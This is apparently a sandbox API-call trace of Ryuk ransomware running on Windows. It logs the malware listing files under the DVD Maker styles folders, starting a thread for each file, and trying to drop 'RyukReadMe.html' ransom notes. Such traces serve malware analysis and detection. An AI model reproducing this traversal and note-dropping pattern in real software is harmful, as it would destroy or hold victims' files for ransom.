	[0227.388] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.388] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0227.388] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe8
	[0227.390] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.391] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x62, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0227.391] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbec
	[0227.393] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.394] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1
	[0227.394] SetLastError (dwErrCode=0x0) 
	[0227.394] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.394] GetLastError () returned 0x5
	[0227.394] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0227.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0227.398] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0227.398] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0227.398] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf4
	[0227.400] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.401] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0227.401] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf8
	[0227.549] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.550] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x76, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1
	[0227.550] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbfc
	[0227.552] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.553] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0227.553] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc04
	[0227.556] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.557] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0227.557] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc08
	[0227.559] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.560] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0227.560] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0c
	[0227.562] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.563] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0227.563] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc10
	[0227.565] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.565] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0227.565] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc14
	[0227.567] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.568] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0227.568] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc18
	[0227.570] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.571] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x76, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1
	[0227.571] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc1c
	[0227.573] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.573] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x76, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0
	[0227.573] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0227.575] SetLastError (dwErrCode=0x0) 
	[0227.575] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.584] GetLastError () returned 0x5
	[0227.584] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0227.584] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.584] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1
	[0227.584] SetLastError (dwErrCode=0x0) 
	[0227.584] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.585] GetLastError () returned 0x5
	[0227.585] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0227.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0227.588] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0227.588] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x76, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1
	[0227.588] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc20
	[0227.591] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.592] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x76, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0227.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc24
	[0227.594] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.595] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x76, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1
	[0227.595] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc28
	[0227.597] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.598] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1
	[0227.598] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc2c
	[0227.600] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.601] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1
	[0227.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc30
	[0227.604] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.604] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x76, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0227.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc34
	[0227.606] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.607] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x76, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1
	[0227.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc38
	[0227.610] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0227.610] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x76, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1
	[0227.610] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0227.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc3c
	[0227.613] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
